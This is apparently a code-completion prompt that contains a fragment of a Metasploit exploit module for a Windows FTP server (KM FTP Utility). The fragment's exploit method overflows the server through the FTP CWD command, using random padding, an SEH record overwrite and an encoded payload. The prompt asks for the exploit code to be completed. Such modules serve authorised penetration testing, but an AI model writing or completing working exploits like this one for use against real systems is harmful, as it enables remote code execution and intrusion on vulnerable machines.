You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: kmftp_utility_cwd.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/ftp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/
    
  def exploit
    connect_login

    buf = rand_text(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text(3000)

    print_status("Sending exploit buffer...")
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end